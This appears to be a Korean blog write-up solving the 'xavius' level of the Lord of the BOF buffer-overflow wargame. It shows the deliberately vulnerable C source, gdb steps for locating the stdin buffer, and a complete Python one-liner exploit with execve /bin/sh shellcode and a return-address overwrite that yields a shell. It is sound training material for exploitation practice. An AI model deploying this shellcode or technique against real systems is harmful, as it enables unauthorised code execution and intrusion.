/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
이번 코드는 stdin을 사용해야 한다.
stdin은 gdb 에서 x/x stdin으로 볼 수 있다.
먼저 printf와 fgets 에 BP를 걸고 실행해 보자.
기존 stdin에는 모두 0x00000000으로 차 있는것을 볼 수 있다.
continue해서 fgets 실행 후에 stdin을 보자
0x40015000 부터 차례대로 들어가 있는것을 볼 수 있다.
이 부분에 쉘코드를 넣고 실행하기 위해서, 0xcc를 알아야 하는데
0xcc에서 프로그램이 멈춘다고 한다. 혹시몰라서 4개나 넣었다.
(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*16 + "\xcc\xcc\xcc\xcc" + "\x00\x50\x01\x40"';cat) | ./xavius
쉘코드를 넣고, 버퍼를 채운후 RET에 stdin의 주소를 넣었다.
쉘 획득....
'LOB' 카테고리의 다른 글
LOB: Xavius→Death_knight (0) | 2018.05.17 |
---|---|
LOB:Succubus→Nightmare (0) | 2018.05.14 |
LOB:Zombie_assassin→Succubus (0) | 2018.05.12 |
LOB:Assasin→Zombie-assassin (0) | 2018.05.03 |
LOB:Giant→Assasin (0) | 2018.05.01 |